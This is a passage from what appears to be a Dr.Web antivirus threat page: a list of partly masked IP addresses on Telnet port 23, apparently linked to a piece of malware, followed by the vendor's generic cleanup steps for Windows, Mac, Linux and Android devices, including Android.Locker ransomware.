  • '17#.#32.48.3':23
  • '12#.#33.121.2':23
  • '16#.#09.84.3':23
  • '15.##1.150.2':23
  • '81.#1.154.2':23
  • '31.#4.8.2':23
  • '21#.#8.131.2':23
  • '15#.#06.147.2':23
  • '19#.#61.250.3':23
  • '28.#1.224.3':23
  • '59.#36.64.3':23
  • '58.##5.223.2':23

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Download Dr.Web

Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android